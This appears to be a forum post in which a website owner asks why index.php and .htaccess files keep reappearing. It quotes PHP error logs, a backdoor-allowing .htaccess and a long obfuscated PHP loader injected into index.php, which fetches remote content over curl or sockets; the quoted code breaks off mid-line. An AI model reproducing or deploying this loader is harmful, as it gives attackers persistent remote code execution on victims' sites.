I am facing a strange issue today, in my web directory "index.php" and ".htaccess" files are creating automatically, when i delete them they are created automatically again with old file creation datetime see screenshot below:
in order to figure out whats wrong, i renamed my folder that is infected and getting a log file generated automatically with below log:
lock360.php (I had deleted in advance, because its name was mentioned in htaccess file along with couple of more files.)
[16-Jun-2022 15:01:24 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/mobitair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:24 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:25 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:25 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:27 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:27 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:28 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:28 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:29 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:29 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:30 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:30 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:31 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:31 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:32 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:32 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:33 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:33 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:34 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:34 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:35 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
[16-Jun-2022 15:01:35 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/.htaccess): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 158
[16-Jun-2022 15:01:36 UTC] PHP Warning: file_get_contents(/home/topair/public_html/xyz/index.php): failed to open stream: No such file or directory in /home/topair/public_html/xyz/lock360.php on line 157
code of Htaccess: (i cannot modify,delete or change this file)
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
suspecious line added at the top of index.php (i cannot modify,delete or change this file)
<?php
$xzyyzyz___=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$xz__y_yyzz=$xzyyzyz___[44].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[65].$xzyyzyz___[10].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[21].$xzyyzyz___[56].$xzyyzyz___[31].$xzyyzyz___[10].$xzyyzyz___[56].$xzyyzyz___[21].$xzyyzyz___[39].$xzyyzyz___[39].$xzyyzyz___[3].$xzyyzyz___[21].$xzyyzyz___[56].$xzyyzyz___[25];$xyzzz_y_y_=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[21].$xzyyzyz___[46].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[0].$xzyyzyz___[56].$xzyyzyz___[25].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[10].$xzyyzyz___[56].$xzyyzyz___[39].$xzyyzyz___[63].$xzyyzyz___[31].$xzyyzyz___[5].$xzyyzyz___[13];$xy_yzy__zz=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[21].$xzyyzyz___[46].$xzyyzyz___[10].$xzyyzyz___[65].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[10].$xzyyzyz___[46].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[21].$xzyyzyz___[10].$xzyyzyz___[34].$xzyyzyz___[21].$xzyyzyz___[13].$xzyyzyz___[21];$x_z_yyyz_z=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[21].$xzyyzyz___[46].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[10].$xzyyzyz___[3].$xzyyzyz___[39].$xzyyzyz___[0].$xzyyzyz___[56].$xzyyzyz___[25].$xzyyzyz___[63].$xzyyzyz___[5].$xzyyzyz___[65];$x_yzy_yz_z=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[21].$xzyyzyz___[46].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[10].$xzyyzyz___[13].$xzyyzyz___[63].$xzyyzyz___[46].$xzyyzyz___[31].$xzyyzyz___[0].$xzyyzyz___[60].$xzyyzyz___[13];$xyy_yzzz__=$xzyyzyz___[42].$xzyyzyz___[60].$xzyyzyz___[5].$xzyyzyz___[56].$xzyyzyz___[13].$xzyyzyz___[63].$xzyyzyz___[0].$xzyyzyz___[5].$xzyyzyz___[10].$xzyyzyz___[31].$xzyyzyz___[15].$xzyyzyz___[63].$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[40];$x__z_yzyyz=$xzyyzyz___[31].$xzyyzyz___[53].$xzyyzyz___[53].$xzyyzyz___[0].$xzyyzyz___[53].$xzyyzyz___[10].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[44].$xzyyzyz___[0].$xzyyzyz___[53].$xzyyzyz___[13].$xzyyzyz___[63].$xzyyzyz___[5].$xzyyzyz___[65];$x_yyzz_zy_=$xzyyzyz___[65].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[45].$xzyyzyz___[0].$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[3].$xzyyzyz___[55].$xzyyzyz___[5].$xzyyzyz___[21].$xzyyzyz___[46].$xzyyzyz___[31];$x__yzzzy_y=$xzyyzyz___[3].$xzyyzyz___[21].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[62].$xzyyzyz___[58].$xzyyzyz___[10].$xzyyzyz___[31].$xzyyzyz___[5].$xzyyzyz___[56].$xzyyzyz___[0].$xzyyzyz___[34].$xzyyzyz___[31];$xzy_y_zy_z=$xzyyzyz___[3].$xzyyzyz___[21].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[62].$xzyyzyz___[58].$xzyyzyz___[10].$xzyyzyz___[34].$xzyyzyz___[31].$xzyyzyz___[56].$xzyyzyz___[0].$xzyyzyz___[34].$xzyyzyz___[31];$xz_yyz__zy=$xzyyzyz___[53].$xzyyzyz___[21].$xzyyzyz___[27].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[31].$xzyyzyz___[5].$xzyyzyz___[56].$xzyyzyz___[0].$xzyyzyz___[34].$xzyyzyz___[31];$xz_y__zyzy=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[10].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[21].$xzyyzyz___[56].$xzyyzyz___[31];$xyyzz_z__y=$xzyyzyz___[56].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[0].$xzyyzyz___[44].$xzyyzyz___[13];$x__yzyz_yz=$xzyyzyz___[21].$xzyyzyz___[53].$xzyyzyz___[53].$xzyyzyz___[21].$xzyyzyz___[55].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[45].$xzyyzyz___[63].$xzyyzyz___[42].$xzyyzyz___[13];$xzy__z_yyz=$xzyyzyz___[44].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[65].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[63].$xzyyzyz___[13];$xz__yz_yyz=$xzyyzyz___[44].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[65].$xzyyzyz___[10].$xzyyzyz___[46].$xzyyzyz___[21].$xzyyzyz___[13].$xzyyzyz___[56].$xzyyzyz___[45];$xzyyyz___z=$xzyyzyz___[56].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[10].$xzyyzyz___[56].$xzyyzyz___[39].$xzyyzyz___[0].$xzyyzyz___[40].$xzyyzyz___[31];$xy_y_zzyz_=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[10].$xzyyzyz___[40].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[63].$xzyyzyz___[13];$x_zyzy__yz=$xzyyzyz___[44].$xzyyzyz___[21].$xzyyzyz___[53].$xzyyzyz___[40].$xzyyzyz___[31].$xzyyzyz___[10].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39];$xyzz__zy_y=$xzyyzyz___[65].$xzyyzyz___[59].$xzyyzyz___[63].$xzyyzyz___[5].$xzyyzyz___[42].$xzyyzyz___[39].$xzyyzyz___[21].$xzyyzyz___[13].$xzyyzyz___[31];$x__yzzy_zy=$xzyyzyz___[56].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[10].$xzyyzyz___[63].$xzyyzyz___[5].$xzyyzyz___[63].$xzyyzyz___[13];$x__yyy_zzz=$xzyyzyz___[56].$xzyyzyz___[60].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[10].$xzyyzyz___[31].$xzyyzyz___[15].$xzyyzyz___[31].$xzyyzyz___[56];$x_zzz__yyy=$xzyyzyz___[50].$xzyyzyz___[21].$xzyyzyz___[53].$xzyyzyz___[10].$xzyyzyz___[34].$xzyyzyz___[60].$xzyyzyz___[46].$xzyyzyz___[44];$xy__zzzyy_=$xzyyzyz___[63].$xzyyzyz___[40].$xzyyzyz___[10].$xzyyzyz___[21].$xzyyzyz___[53].$xzyyzyz___[53].$xzyyzyz___[21].$xzyyzyz___[55];$xyzz_z_y_y=$xzyyzyz___[13].$xzyyzyz___[46].$xzyyzyz___[44].$xzyyzyz___[42].$xzyyzyz___[63].$xzyyzyz___[39].$xzyyzyz___[31];$xyz_zy__zy=$xzyyzyz___[44].$xzyyzyz___[53].$xzyyzyz___[63].$xzyyzyz___[5].$xzyyzyz___[13].$xzyyzyz___[10].$xzyyzyz___[53];$xzy_z_zy_y=$xzyyzyz___[63].$xzyyzyz___[46].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[0].$xzyyzyz___[34].$xzyyzyz___[31];$xy_z_zzyy_=$xzyyzyz___[31].$xzyyzyz___[15].$xzyyzyz___[44].$xzyyzyz___[39].$xzyyzyz___[0].$xzyyzyz___[34].$xzyyzyz___[31];$xyyzz_z_y_=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[44].$xzyyzyz___[0].$xzyyzyz___[40];$x_yy_yz_zz=$xzyyzyz___[40].$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[39].$xzyyzyz___[31].$xzyyzyz___[5];$x_yyzz__zy=$xzyyzyz___[45].$xzyyzyz___[31].$xzyyzyz___[15].$xzyyzyz___[34].$xzyyzyz___[31].$xzyyzyz___[56];$xzzy_zy__y=$xzyyzyz___[42].$xzyyzyz___[27].$xzyyzyz___[53].$xzyyzyz___[63].$xzyyzyz___[13].$xzyyzyz___[31];$x_z_yyzzy_=$xzyyzyz___[42].$xzyyzyz___[56].$xzyyzyz___[39].$xzyyzyz___[0].$xzyyzyz___[40].$xzyyzyz___[31];$xz_zyyz_y_=$xzyyzyz___[42].$xzyyzyz___[53].$xzyyzyz___[31].$xzyyzyz___[21].$xzyyzyz___[34];$x_zzyzy_y_=$xzyyzyz___[42].$xzyyzyz___[65].$xzyyzyz___[31].$xzyyzyz___[13].$xzyyzyz___[40];$xz_z_zyyy_=$xzyyzyz___[56].$xzyyzyz___[0].$xzyyzyz___[60].$xzyyzyz___[5].$xzyyzyz___[13];$xzyz_yyz__=$xzyyzyz___[13].$xzyyzyz___[53].$xzyyzyz___[63].$xzyyzyz___[46];$x_zyyz_yz_=$xzyyzyz___[37].$xzyyzyz___[0].$xzyyzyz___[63].$xzyyzyz___[5];$xzzy_yz_y_=$xzyyzyz___[42].$xzyyzyz___[31].$xzyyzyz___[0].$xzyyzyz___[42];${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x7a\x5f\x79\x7a\x79\x79\x7a"](0);$xzyyy_z_z_="Ha0RDcvo3LhR2cftTMwEXLxYDMuEGbl9WZzxSYj52b0v";$xz_y__zzyy="Ha0RHc6MyLj9mLrpjduI2Yt9wL==";function x_yyyzz_z_($xy_zz_zyy_){$x_yzy_y_zz=substr($xy_zz_zyy_,0,5);$xzzyy__zy_=substr($xy_zz_zyy_,-5);$xzy_yzzy__=substr($xy_zz_zyy_,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($xy_zz_zyy_)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x7a\x5f\x5f\x7a\x79\x5f\x79"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x79\x5f\x7a\x79\x5f\x7a"]($x_yzy_y_zz.$xzy_yzzy__.$xzzyy__zy_));}function xy_y__zzyz($xzz_yz_yy_){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x79\x7a\x5f\x79\x79\x7a"]("/^https*\\:\\/\\//si",$xzz_yz_yy_)){return '500';}$xyy_zyz_z_=x_yyyzz_z_('Sy4tyHOonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBSXSJakA');$x___yyzyzz=$xz_zzyy_y_=$xy__yzzzy_=$err_str ='';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x7a\x79\x79\x5f"]('|',$xyy_zyz_z_) as $c){$xyzy_z_yz_=1;foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x7a\x79\x79\x5f"]('+',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x79\x7a\x7a\x7a\x5f\x5f"]($d)){$xyzy_z_yz_=0;}}unset($d);if($xyzy_z_yz_){$x___yyzyzz=$c;break;}}unset($xyy_zyz_z_,$c);if($x___yyzyzz==''){return 0;}if(substr($x___yyzyzz,0,1)=='c'){$xz_yyyz_z_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x7a\x7a\x79\x5f\x7a\x79"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_URL,$xzz_yz_yy_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_USERAGENT,'s');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_TIMEOUT,100);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_FRESH_CONNECT,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x5f\x79"]($xz_yyyz_z_,CURLOPT_SSL_VERIFYPEER,0);$x_yz_yyz_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x79\x79\x5f\x7a\x7a\x7a"]($xz_yyyz_z_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x79\x79\x7a\x5f\x5f\x5f\x7a"]($xz_yyyz_z_);if(!$x_yz_yyz_z){return '501';}else{return $x_yz_yyz_z;}}$x_yz__zzyy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x7a\x79\x5f\x5f\x79\x7a"]($xzz_yz_yy_);isset($x_yz__zzyy["\x68\x6f\x73\x74"])||$x_yz__zzyy["\x68\x6f\x73\x74"]='';isset($x_yz__zzyy["\x70\x61\x74\x68"])||$x_yz__zzyy["\x70\x61\x74\x68"]='';isset($x_yz__zzyy["\x71\x75\x65\x72\x79"])|| $x_yz__zzyy["\x71\x75\x65\x72\x79"]='';isset($x_yz__zzyy["\x70\x6f\x72\x74"])||$x_yz__zzyy["\x70\x6f\x72\x74"]='';$x_zzy__yzy=$x_yz__zzyy["\x70\x61\x74\x68"]?$x_yz__zzyy["\x70\x61\x74\x68"].($x_yz__zzyy["\x71\x75\x65\x72\x79"]?'?'.$x_yz__zzyy["\x71\x75\x65\x72\x79"]:''):'/';$xyzyzz__y_=$x_yz__zzyy["\x68\x6f\x73\x74"];if($x_yz__zzyy["\x73\x63\x68\x65\x6d\x65"]=='https'){$x_yz_zy_zy='1.1';$xy_zz_z_yy=empty($x_yz__zzyy["\x70\x6f\x72\x74"])?443:$x_yz__zzyy["\x70\x6f\x72\x74"];$xyzyzz__y_=x_yyyzz_z_('Ky7OsPKdLxoXBwA=');$xyzyzz__y_.=$x_yz__zzyy["\x68\x6f\x73\x74"];}else{$x_yz_zy_zy='1.0';$xy_zz_z_yy=empty($x_yz__zzyy["\x70\x6f\x72\x74"])?80:$x_yz__zzyy["\x70\x6f\x72\x74"];}$xy__zy_zzy='Host:';$xy__zy_zzy.=$xyzyzz__y_;$headers[]=$xy__zy_zzy;$headers[]=x_yyyzz_z_('c87PykU0tNLsnMz7NyzskNTvTgUA');$headers[]=x_yyyzz_z_('Cy1OLjUdJ1TE/NK7EyhqBgA=');$headers[]=x_yyyzz_z_('c0xOTxji0osdLcvS1wIA');unset($xy__zy_zzy);$xz_zzyy_y_="GET $x_zzy__yzy HTTP/$x_yz_zy_zy".PHP_EOL.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x79\x7a\x5f\x79\x7a\x5f"](PHP_EOL,$headers).PHP_EOL.PHP_EOL;unset($headers,$x_yz__zzyy,$x_yz_zy_zy,$x_zzy__yzy);$x__zyyy_zz=null;if(substr($x___yyzyzz,-1)=='n'){$x__zyyy_zz=$x___yyzyzz($xyzyzz__y_,$xy_zz_z_yy,$xy__yzzzy_,$err_str,30);}else{if(substr($x___yyzyzz,-1)=='t'){$x__yzzzyy_=x_yyyzz_z_('K0kusujNLphXBwA=');$x__yzzzyy_.=$xyzyzz__y_;$x__yzzzyy_.=':';$x__yzzzyy_.=$xy_zz_z_yy;$x__zyyy_zz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x7a\x7a\x5f\x79\x5f\x79\x5f"]($x__yzzzyy_,$xy__yzzzy_,$err_str,30);unset($x__yzzzyy_);}}$xzy_z_yyz_='';if($x__zyyy_zz){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x79\x7a\x5f\x7a"]($x__zyyy_zz,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x7a\x79\x5f\x79\x7a\x5f\x7a"]($x__zyyy_zz,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x79\x5f\x7a\x79\x5f\x5f\x79"]($x__zyyy_zz,$xz_zzyy_y_);$xzy_zzy_y_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x7a\x79\x5f\x5f\x7a\x7a"]($x__zyyy_zz);if(!$xzy_zzy_y_["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x79\x5f\x79\x7a\x5f\x79\x5f"]($x__zyyy_zz)){$xyyy__z_zz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x7a\x79\x7a\x79\x5f\x79\x5f"]($x__zyyy_zz);if($xyyy__z_zz&&(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x79\x7a\x5f\x5f\x7a\x79"]($xyyy__z_zz)=="%0D%0A"||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x79\x7a\x5f\x5f\x7a\x79"]($xyyy__z_zz)=="%0A")){break;}unset($xyyy__z_zz);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x79\x5f\x79\x7a\x5f\x79\x5f"]($x__zyyy_zz)){$x_zyyz_y_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x79\x79\x7a\x5f\x79\x5f"]($x__zyyy_zz,8192);$xzy_z_yyz_.=$x_zyyz_y_z;unset($x_zyyz_y_z);}}unset($xzy_zzy_y_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x7a\x79\x5f"]($x__zyyy_zz);}else{if(substr($x___yyzyzz,-1)=='e'){$xy_z_y_zyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x7a\x7a\x5f\x7a\x79\x5f"]($xyzyzz__y_);$x__zyyy_zz=$x___yyzyzz(AF_INET,SOCK_STREAM,0);if(socket_connect($x__zyyy_zz,$xy_z_y_zyz,$xy_zz_z_yy)){socket_write($x__zyyy_zz,$xz_zzyy_y_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($xz_zzyy_y_));while($xyyz_y_z_z=#socket_read($x__zyyy_zz,8192)){$xzy_z_yyz_.=$xyyz_y_z_z;unset($xyyz_y_z_z);}$xzy_z_yyz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x7a\x79\x79\x5f"]("\\r\\n\\r\\n",$xzy_z_yyz_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x7a\x79\x7a\x5f\x79\x7a"]($xzy_z_yyz_);$xzy_z_yyz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x7a\x5f\x7a\x79\x5f\x79"]("\\r\\n\\r\\n",$xzy_z_yyz_);}socket_close($x__zyyy_zz);unset($xy_z_y_zyz);}}unset($xz_zzyy_y_,$x___yyzyzz,$x__zyyy_zz,$xy_zz_z_yy,$xyzyzz__y_);$xzy_z_yyz_=#${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x79\x5f\x79\x79\x7a\x7a"]('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)'.'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si','xyzyyzz___',$xzy_z_yyz_);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x7a\x5f\x79\x79\x7a\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x7a\x5f\x79\x79\x7a\x5f\x5f"]($xzy_z_yyz_,"\\xEF\\xBB\\xBF"));}function xyzyyzz___($matches){return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x7a\x7a\x5f\x5f\x7a\x79"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($matches[2])?$matches[2]:$matches[0];}function xz__y_yzyz($xyzzyyz___=''){$xyzzyyz___=(${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_VIA"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_X_FORWARDED_FOR"]:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];$xyzzyyz___=($xyzzyyz___)?$xyzzyyz___:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x7a\x5f\x79\x79\x7a\x5f\x5f"]($xyzzyyz___);}function x_y_zyz_zy($xy_zz_zyy_=''){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $xy_zz_zyy_;}function x_y_zy_zzy($xzz_yz_yy_){$xyy_zz__yz=xy_y__zzyz($xzz_yz_yy_);$xzzy_yy_z_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x79\x5f\x7a\x79\x5f\x7a"]("PD9waHA=");if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x7a\x5f\x7a\x5f\x79\x5f"]($xyy_zz__yz,$xzzy_yy_z_)===false){die('get 